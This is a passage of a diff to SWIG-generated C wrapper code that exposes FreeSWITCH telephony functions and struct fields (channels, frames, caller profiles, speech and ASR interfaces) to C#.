+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_frame_t **)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return 0;
+  }
+  arg2 = *argp2; 
+  result = (switch_status_t)switch_frame_alloc(arg1,arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_frame_dup(void * jarg1, void * jarg2) {
+  int jresult ;
+  switch_frame_t *arg1 = (switch_frame_t *) 0 ;
+  switch_frame_t **arg2 = (switch_frame_t **) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_frame_t *)jarg1; 
+  arg2 = (switch_frame_t **)jarg2; 
+  result = (switch_status_t)switch_frame_dup(arg1,arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_frame_free(void * jarg1) {
+  int jresult ;
+  switch_frame_t **arg1 = (switch_frame_t **) 0 ;
+  switch_status_t result;
+  
+  arg1 = (switch_frame_t **)jarg1; 
+  result = (switch_status_t)switch_frame_free(arg1);
+  jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_find_local_ip(char * jarg1, int jarg2, void * jarg3, int jarg4) {
+  int jresult ;
   char *arg1 = (char *) 0 ;
   int arg2 ;
-  int arg3 ;
+  int *arg3 = (int *) 0 ;
+  int arg4 ;
   switch_status_t result;
   
   arg1 = (char *)jarg1; 
   arg2 = (int)jarg2; 
-  arg3 = (int)jarg3; 
-  result = (switch_status_t)switch_find_local_ip(arg1,arg2,arg3);
+  arg3 = (int *)jarg3; 
+  arg4 = (int)jarg4; 
+  result = (switch_status_t)switch_find_local_ip(arg1,arg2,arg3,arg4);
   jresult = result; 
   return jresult;
 }
@@ -8315,6 +8963,30 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_string_var_check_const(char * jarg1) {
+  int jresult ;
+  char *arg1 = (char *) 0 ;
+  switch_bool_t result;
+  
+  arg1 = (char *)jarg1; 
+  result = (switch_bool_t)switch_string_var_check_const((char const *)arg1);
+  jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT char * SWIGSTDCALL CSharp_switch_var_clean_string(char * jarg1) {
+  char * jresult ;
+  char *arg1 = (char *) 0 ;
+  char *result = 0 ;
+  
+  arg1 = (char *)jarg1; 
+  result = (char *)switch_var_clean_string(arg1);
+  jresult = SWIG_csharp_string_callback((const char *)result); 
+  return jresult;
+}
+
+
 SWIGEXPORT char * SWIGSTDCALL CSharp_switch_clean_string(char * jarg1) {
   char * jresult ;
   char *arg1 = (char *) 0 ;
@@ -8497,7 +9169,7 @@
   arg1 = (char *)jarg1; 
   arg2 = (char *)jarg2; 
   arg3 = (size_t)jarg3; 
-  result = (switch_bool_t)switch_ast2regex(arg1,arg2,arg3);
+  result = (switch_bool_t)switch_ast2regex((char const *)arg1,arg2,arg3);
   jresult = result; 
   return jresult;
 }
@@ -8663,17 +9335,19 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_network_list_create(void * jarg1, int jarg2, void * jarg3) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_network_list_create(void * jarg1, char * jarg2, int jarg3, void * jarg4) {
   int jresult ;
   switch_network_list_t **arg1 = (switch_network_list_t **) 0 ;
-  switch_bool_t arg2 ;
-  switch_memory_pool_t *arg3 = (switch_memory_pool_t *) 0 ;
+  char *arg2 = (char *) 0 ;
+  switch_bool_t arg3 ;
+  switch_memory_pool_t *arg4 = (switch_memory_pool_t *) 0 ;
   switch_status_t result;
   
   arg1 = (switch_network_list_t **)jarg1; 
-  arg2 = (switch_bool_t)jarg2; 
-  arg3 = (switch_memory_pool_t *)jarg3; 
-  result = (switch_status_t)switch_network_list_create(arg1,arg2,arg3);
+  arg2 = (char *)jarg2; 
+  arg3 = (switch_bool_t)jarg3; 
+  arg4 = (switch_memory_pool_t *)jarg4; 
+  result = (switch_status_t)switch_network_list_create(arg1,(char const *)arg2,arg3,arg4);
   jresult = result; 
   return jresult;
 }
@@ -8731,6 +9405,20 @@
 }
 
 
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_number_cmp(char * jarg1, int jarg2) {
+  int jresult ;
+  char *arg1 = (char *) 0 ;
+  int arg2 ;
+  int result;
+  
+  arg1 = (char *)jarg1; 
+  arg2 = (int)jarg2; 
+  result = (int)switch_number_cmp((char const *)arg1,arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_caller_profile_username_set(void * jarg1, char * jarg2) {
   switch_caller_profile *arg1 = (switch_caller_profile *) 0 ;
   char *arg2 = (char *) 0 ;
@@ -9393,6 +10081,29 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_caller_profile_hunt_caller_profile_set(void * jarg1, void * jarg2) {
+  switch_caller_profile *arg1 = (switch_caller_profile *) 0 ;
+  switch_caller_profile *arg2 = (switch_caller_profile *) 0 ;
+  
+  arg1 = (switch_caller_profile *)jarg1; 
+  arg2 = (switch_caller_profile *)jarg2; 
+  if (arg1) (arg1)->hunt_caller_profile = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_caller_profile_hunt_caller_profile_get(void * jarg1) {
+  void * jresult ;
+  switch_caller_profile *arg1 = (switch_caller_profile *) 0 ;
+  switch_caller_profile *result = 0 ;
+  
+  arg1 = (switch_caller_profile *)jarg1; 
+  result = (switch_caller_profile *) ((arg1)->hunt_caller_profile);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_caller_profile_times_set(void * jarg1, void * jarg2) {
   switch_caller_profile *arg1 = (switch_caller_profile *) 0 ;
   switch_channel_timetable *arg2 = (switch_channel_timetable *) 0 ;
@@ -10055,6 +10766,29 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_frame_extra_data_set(void * jarg1, void * jarg2) {
+  switch_frame *arg1 = (switch_frame *) 0 ;
+  void *arg2 = (void *) 0 ;
+  
+  arg1 = (switch_frame *)jarg1; 
+  arg2 = (void *)jarg2; 
+  if (arg1) (arg1)->extra_data = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_frame_extra_data_get(void * jarg1) {
+  void * jresult ;
+  switch_frame *arg1 = (switch_frame *) 0 ;
+  void *result = 0 ;
+  
+  arg1 = (switch_frame *)jarg1; 
+  result = (void *) ((arg1)->extra_data);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_frame_data_set(void * jarg1, void * jarg2) {
   switch_frame *arg1 = (switch_frame *) 0 ;
   void *arg2 = (void *) 0 ;
@@ -10563,6 +11297,52 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_state_handler_table_on_reporting_set(void * jarg1, void * jarg2) {
+  switch_state_handler_table *arg1 = (switch_state_handler_table *) 0 ;
+  switch_state_handler_t arg2 = (switch_state_handler_t) 0 ;
+  
+  arg1 = (switch_state_handler_table *)jarg1; 
+  arg2 = (switch_state_handler_t)jarg2; 
+  if (arg1) (arg1)->on_reporting = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_state_handler_table_on_reporting_get(void * jarg1) {
+  void * jresult ;
+  switch_state_handler_table *arg1 = (switch_state_handler_table *) 0 ;
+  switch_state_handler_t result;
+  
+  arg1 = (switch_state_handler_table *)jarg1; 
+  result = (switch_state_handler_t) ((arg1)->on_reporting);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_state_handler_table_on_destroy_set(void * jarg1, void * jarg2) {
+  switch_state_handler_table *arg1 = (switch_state_handler_table *) 0 ;
+  switch_state_handler_t arg2 = (switch_state_handler_t) 0 ;
+  
+  arg1 = (switch_state_handler_table *)jarg1; 
+  arg2 = (switch_state_handler_t)jarg2; 
+  if (arg1) (arg1)->on_destroy = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_state_handler_table_on_destroy_get(void * jarg1) {
+  void * jresult ;
+  switch_state_handler_table *arg1 = (switch_state_handler_table *) 0 ;
+  switch_state_handler_t result;
+  
+  arg1 = (switch_state_handler_table *)jarg1; 
+  result = (switch_state_handler_t) ((arg1)->on_destroy);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_state_handler_table_padding_set(void * jarg1, void * jarg2) {
   switch_state_handler_table *arg1 = (switch_state_handler_table *) 0 ;
   void **arg2 ;
@@ -13002,29 +13782,64 @@
 }
 
 
-SWIGEXPORT void SWIGSTDCALL CSharp_switch_file_handle_last_pos_set(void * jarg1, unsigned long jarg2) {
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_file_handle_samples_in_set(void * jarg1, void * jarg2) {
   switch_file_handle *arg1 = (switch_file_handle *) 0 ;
-  uint32_t arg2 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
   
   arg1 = (switch_file_handle *)jarg1; 
-  arg2 = (uint32_t)jarg2; 
-  if (arg1) (arg1)->last_pos = arg2;
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->samples_in = arg2;
   
 }
 
 
-SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_file_handle_last_pos_get(void * jarg1) {
-  unsigned long jresult ;
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_file_handle_samples_in_get(void * jarg1) {
+  void * jresult ;
   switch_file_handle *arg1 = (switch_file_handle *) 0 ;
-  uint32_t result;
+  switch_size_t result;
   
   arg1 = (switch_file_handle *)jarg1; 
-  result = (uint32_t) ((arg1)->last_pos);
-  jresult = (unsigned long)result; 
+  result =  ((arg1)->samples_in);
+  jresult = new switch_size_t((switch_size_t &)result); 
   return jresult;
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_file_handle_samples_out_set(void * jarg1, void * jarg2) {
+  switch_file_handle *arg1 = (switch_file_handle *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_file_handle *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->samples_out = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_file_handle_samples_out_get(void * jarg1) {
+  void * jresult ;
+  switch_file_handle *arg1 = (switch_file_handle *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_file_handle *)jarg1; 
+  result =  ((arg1)->samples_out);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_file_handle_vol_set(void * jarg1, int jarg2) {
   switch_file_handle *arg1 = (switch_file_handle *) 0 ;
   int32_t arg2 ;
@@ -13557,6 +14372,98 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_asr_interface_asr_start_input_timers_set(void * jarg1, void * jarg2) {
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  switch_status_t (*arg2)(switch_asr_handle_t *) = (switch_status_t (*)(switch_asr_handle_t *)) 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  arg2 = (switch_status_t (*)(switch_asr_handle_t *))jarg2; 
+  if (arg1) (arg1)->asr_start_input_timers = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_asr_interface_asr_start_input_timers_get(void * jarg1) {
+  void * jresult ;
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  switch_status_t (*result)(switch_asr_handle_t *) = 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  result = (switch_status_t (*)(switch_asr_handle_t *)) ((arg1)->asr_start_input_timers);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_asr_interface_asr_text_param_set(void * jarg1, void * jarg2) {
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  void (*arg2)(switch_asr_handle_t *,char *,char const *) = (void (*)(switch_asr_handle_t *,char *,char const *)) 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  arg2 = (void (*)(switch_asr_handle_t *,char *,char const *))jarg2; 
+  if (arg1) (arg1)->asr_text_param = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_asr_interface_asr_text_param_get(void * jarg1) {
+  void * jresult ;
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  void (*result)(switch_asr_handle_t *,char *,char const *) = 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  result = (void (*)(switch_asr_handle_t *,char *,char const *)) ((arg1)->asr_text_param);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_asr_interface_asr_numeric_param_set(void * jarg1, void * jarg2) {
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  void (*arg2)(switch_asr_handle_t *,char *,int) = (void (*)(switch_asr_handle_t *,char *,int)) 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  arg2 = (void (*)(switch_asr_handle_t *,char *,int))jarg2; 
+  if (arg1) (arg1)->asr_numeric_param = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_asr_interface_asr_numeric_param_get(void * jarg1) {
+  void * jresult ;
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  void (*result)(switch_asr_handle_t *,char *,int) = 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  result = (void (*)(switch_asr_handle_t *,char *,int)) ((arg1)->asr_numeric_param);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_asr_interface_asr_float_param_set(void * jarg1, void * jarg2) {
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  void (*arg2)(switch_asr_handle_t *,char *,double) = (void (*)(switch_asr_handle_t *,char *,double)) 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  arg2 = (void (*)(switch_asr_handle_t *,char *,double))jarg2; 
+  if (arg1) (arg1)->asr_float_param = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_asr_interface_asr_float_param_get(void * jarg1) {
+  void * jresult ;
+  switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
+  void (*result)(switch_asr_handle_t *,char *,double) = 0 ;
+  
+  arg1 = (switch_asr_interface *)jarg1; 
+  result = (void (*)(switch_asr_handle_t *,char *,double)) ((arg1)->asr_float_param);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_asr_interface_rwlock_set(void * jarg1, void * jarg2) {
   switch_asr_interface *arg1 = (switch_asr_interface *) 0 ;
   switch_thread_rwlock_t *arg2 = (switch_thread_rwlock_t *) 0 ;
@@ -14045,10 +14952,10 @@
 
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_interface_speech_read_tts_set(void * jarg1, void * jarg2) {
   switch_speech_interface *arg1 = (switch_speech_interface *) 0 ;
-  switch_status_t (*arg2)(switch_speech_handle_t *,void *,switch_size_t *,uint32_t *,switch_speech_flag_t *) = (switch_status_t (*)(switch_speech_handle_t *,void *,switch_size_t *,uint32_t *,switch_speech_flag_t *)) 0 ;
+  switch_status_t (*arg2)(switch_speech_handle_t *,void *,switch_size_t *,switch_speech_flag_t *) = (switch_status_t (*)(switch_speech_handle_t *,void *,switch_size_t *,switch_speech_flag_t *)) 0 ;
   
   arg1 = (switch_speech_interface *)jarg1; 
-  arg2 = (switch_status_t (*)(switch_speech_handle_t *,void *,switch_size_t *,uint32_t *,switch_speech_flag_t *))jarg2; 
+  arg2 = (switch_status_t (*)(switch_speech_handle_t *,void *,switch_size_t *,switch_speech_flag_t *))jarg2; 
   if (arg1) (arg1)->speech_read_tts = arg2;
   
 }
@@ -14057,10 +14964,10 @@
 SWIGEXPORT void * SWIGSTDCALL CSharp_switch_speech_interface_speech_read_tts_get(void * jarg1) {
   void * jresult ;
   switch_speech_interface *arg1 = (switch_speech_interface *) 0 ;
-  switch_status_t (*result)(switch_speech_handle_t *,void *,switch_size_t *,uint32_t *,switch_speech_flag_t *) = 0 ;
+  switch_status_t (*result)(switch_speech_handle_t *,void *,switch_size_t *,switch_speech_flag_t *) = 0 ;
   
   arg1 = (switch_speech_interface *)jarg1; 
-  result = (switch_status_t (*)(switch_speech_handle_t *,void *,switch_size_t *,uint32_t *,switch_speech_flag_t *)) ((arg1)->speech_read_tts);
+  result = (switch_status_t (*)(switch_speech_handle_t *,void *,switch_size_t *,switch_speech_flag_t *)) ((arg1)->speech_read_tts);
   jresult = (void *)result; 
   return jresult;
 }
@@ -14545,6 +15452,150 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_handle_resampler_set(void * jarg1, void * jarg2) {
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_audio_resampler_t *arg2 = (switch_audio_resampler_t *) 0 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  arg2 = (switch_audio_resampler_t *)jarg2; 
+  if (arg1) (arg1)->resampler = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_speech_handle_resampler_get(void * jarg1) {
+  void * jresult ;
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_audio_resampler_t *result = 0 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  result = (switch_audio_resampler_t *) ((arg1)->resampler);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_handle_buffer_set(void * jarg1, void * jarg2) {
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_buffer_t *arg2 = (switch_buffer_t *) 0 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  arg2 = (switch_buffer_t *)jarg2; 
+  if (arg1) (arg1)->buffer = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_speech_handle_buffer_get(void * jarg1) {
+  void * jresult ;
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_buffer_t *result = 0 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  result = (switch_buffer_t *) ((arg1)->buffer);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_handle_dbuf_set(void * jarg1, void * jarg2) {
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_byte_t *arg2 = (switch_byte_t *) 0 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  arg2 = (switch_byte_t *)jarg2; 
+  if (arg1) (arg1)->dbuf = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_speech_handle_dbuf_get(void * jarg1) {
+  void * jresult ;
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_byte_t *result = 0 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  result = (switch_byte_t *) ((arg1)->dbuf);
+  jresult = (void *)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_handle_dbuflen_set(void * jarg1, void * jarg2) {
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_size_t arg2 ;
+  switch_size_t *argp2 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  argp2 = (switch_size_t *)jarg2; 
+  if (!argp2) {
+    SWIG_CSharpSetPendingExceptionArgument(SWIG_CSharpArgumentNullException, "Attempt to dereference null switch_size_t", 0);
+    return ;
+  }
+  arg2 = *argp2; 
+  if (arg1) (arg1)->dbuflen = arg2;
+  
+}
+
+
+SWIGEXPORT void * SWIGSTDCALL CSharp_switch_speech_handle_dbuflen_get(void * jarg1) {
+  void * jresult ;
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  switch_size_t result;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  result =  ((arg1)->dbuflen);
+  jresult = new switch_size_t((switch_size_t &)result); 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_handle_samplerate_set(void * jarg1, unsigned long jarg2) {
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  uint32_t arg2 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  arg2 = (uint32_t)jarg2; 
+  if (arg1) (arg1)->samplerate = arg2;
+  
+}
+
+
+SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_speech_handle_samplerate_get(void * jarg1) {
+  unsigned long jresult ;
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  uint32_t result;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  result = (uint32_t) ((arg1)->samplerate);
+  jresult = (unsigned long)result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_handle_native_rate_set(void * jarg1, unsigned long jarg2) {
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  uint32_t arg2 ;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  arg2 = (uint32_t)jarg2; 
+  if (arg1) (arg1)->native_rate = arg2;
+  
+}
+
+
+SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_speech_handle_native_rate_get(void * jarg1) {
+  unsigned long jresult ;
+  switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
+  uint32_t result;
+  
+  arg1 = (switch_speech_handle *)jarg1; 
+  result = (uint32_t) ((arg1)->native_rate);
+  jresult = (unsigned long)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_speech_handle_private_info_set(void * jarg1, void * jarg2) {
   switch_speech_handle *arg1 = (switch_speech_handle *) 0 ;
   void *arg2 = (void *) 0 ;
@@ -16612,6 +17663,29 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_codec_implementation_impl_id_set(void * jarg1, unsigned long jarg2) {
+  switch_codec_implementation *arg1 = (switch_codec_implementation *) 0 ;
+  uint32_t arg2 ;
+  
+  arg1 = (switch_codec_implementation *)jarg1; 
+  arg2 = (uint32_t)jarg2; 
+  if (arg1) (arg1)->impl_id = arg2;
+  
+}
+
+
+SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_codec_implementation_impl_id_get(void * jarg1) {
+  unsigned long jresult ;
+  switch_codec_implementation *arg1 = (switch_codec_implementation *) 0 ;
+  uint32_t result;
+  
+  arg1 = (switch_codec_implementation *)jarg1; 
+  result = (uint32_t) ((arg1)->impl_id);
+  jresult = (unsigned long)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_codec_implementation_next_set(void * jarg1, void * jarg2) {
   switch_codec_implementation *arg1 = (switch_codec_implementation *) 0 ;
   switch_codec_implementation *arg2 = (switch_codec_implementation *) 0 ;
@@ -17672,13 +18746,15 @@
 }
 
 
-SWIGEXPORT unsigned char SWIGSTDCALL CSharp_switch_channel_ready(void * jarg1) {
-  unsigned char jresult ;
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_channel_test_ready(void * jarg1, int jarg2) {
+  int jresult ;
   switch_channel_t *arg1 = (switch_channel_t *) 0 ;
-  uint8_t result;
+  switch_bool_t arg2 ;
+  int result;
   
   arg1 = (switch_channel_t *)jarg1; 
-  result = (uint8_t)switch_channel_ready(arg1);
+  arg2 = (switch_bool_t)jarg2; 
+  result = (int)switch_channel_test_ready(arg1,arg2);
   jresult = result; 
   return jresult;
 }
@@ -17696,6 +18772,18 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_channel_wait_for_state_timeout(void * jarg1, int jarg2, unsigned long jarg3) {
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  switch_channel_state_t arg2 ;
+  uint32_t arg3 ;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  arg2 = (switch_channel_state_t)jarg2; 
+  arg3 = (uint32_t)jarg3; 
+  switch_channel_wait_for_state_timeout(arg1,arg2,arg3);
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_channel_wait_for_flag(void * jarg1, int jarg2, int jarg3, unsigned long jarg4, void * jarg5) {
   int jresult ;
   switch_channel_t *arg1 = (switch_channel_t *) 0 ;
@@ -17828,15 +18916,17 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_channel_alloc(void * jarg1, void * jarg2) {
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_channel_alloc(void * jarg1, int jarg2, void * jarg3) {
   int jresult ;
   switch_channel_t **arg1 = (switch_channel_t **) 0 ;
-  switch_memory_pool_t *arg2 = (switch_memory_pool_t *) 0 ;
+  switch_call_direction_t arg2 ;
+  switch_memory_pool_t *arg3 = (switch_memory_pool_t *) 0 ;
   switch_status_t result;
   
   arg1 = (switch_channel_t **)jarg1; 
-  arg2 = (switch_memory_pool_t *)jarg2; 
-  result = (switch_status_t)switch_channel_alloc(arg1,arg2);
+  arg2 = (switch_call_direction_t)jarg2; 
+  arg3 = (switch_memory_pool_t *)jarg3; 
+  result = (switch_status_t)switch_channel_alloc(arg1,arg2,arg3);
   jresult = result; 
   return jresult;
 }
@@ -17914,6 +19004,16 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_channel_set_hunt_caller_profile(void * jarg1, void * jarg2) {
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  switch_caller_profile_t *arg2 = (switch_caller_profile_t *) 0 ;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  arg2 = (switch_caller_profile_t *)jarg2; 
+  switch_channel_set_hunt_caller_profile(arg1,arg2);
+}
+
+
 SWIGEXPORT void * SWIGSTDCALL CSharp_switch_channel_get_originator_caller_profile(void * jarg1) {
   void * jresult ;
   switch_channel_t *arg1 = (switch_channel_t *) 0 ;
@@ -18149,6 +19249,20 @@
 }
 
 
+SWIGEXPORT unsigned long SWIGSTDCALL CSharp_switch_channel_test_flag_partner(void * jarg1, int jarg2) {
+  unsigned long jresult ;
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  switch_channel_flag_t arg2 ;
+  uint32_t result;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  arg2 = (switch_channel_flag_t)jarg2; 
+  result = (uint32_t)switch_channel_test_flag_partner(arg1,arg2);
+  jresult = (unsigned long)result; 
+  return jresult;
+}
+
+
 SWIGEXPORT void SWIGSTDCALL CSharp_switch_channel_set_state_flag(void * jarg1, int jarg2) {
   switch_channel_t *arg1 = (switch_channel_t *) 0 ;
   switch_channel_flag_t arg2 ;
@@ -18613,6 +19727,60 @@
 }
 
 
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_channel_set_app_flag(void * jarg1, unsigned long jarg2) {
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  uint32_t arg2 ;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  arg2 = (uint32_t)jarg2; 
+  switch_channel_set_app_flag(arg1,arg2);
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_channel_clear_app_flag(void * jarg1, unsigned long jarg2) {
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  uint32_t arg2 ;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  arg2 = (uint32_t)jarg2; 
+  switch_channel_clear_app_flag(arg1,arg2);
+}
+
+
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_channel_test_app_flag(void * jarg1, unsigned long jarg2) {
+  int jresult ;
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  uint32_t arg2 ;
+  int result;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  arg2 = (uint32_t)jarg2; 
+  result = (int)switch_channel_test_app_flag(arg1,arg2);
+  jresult = result; 
+  return jresult;
+}
+
+
+SWIGEXPORT void SWIGSTDCALL CSharp_switch_channel_set_hangup_time(void * jarg1) {
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  switch_channel_set_hangup_time(arg1);
+}
+
+
+SWIGEXPORT int SWIGSTDCALL CSharp_switch_channel_direction(void * jarg1) {
+  int jresult ;
+  switch_channel_t *arg1 = (switch_channel_t *) 0 ;
+  switch_call_direction_t result;
+  
+  arg1 = (switch_channel_t *)jarg1; 
+  result = (switch_call_direction_t)switch_channel_direction(arg1);
+  jresult = result; 
+  return jresult;
+}
+
+
 SWIGEXPORT int SWIGSTDCALL CSharp_switch_buffer_create(void * jarg1, void * jarg2, void * jarg3) {
   int jresult ;
   switch_memory_pool_t *arg1 = (switch_memory_pool_t *) 0 ;
@@ -19319,17 +20487,23 @@
 }
 
 
-SWIGEXPORT int SWIGSTDCALL CSharp_switch_event_create_subclass(void * jarg1, int jarg2, char * jarg3) {
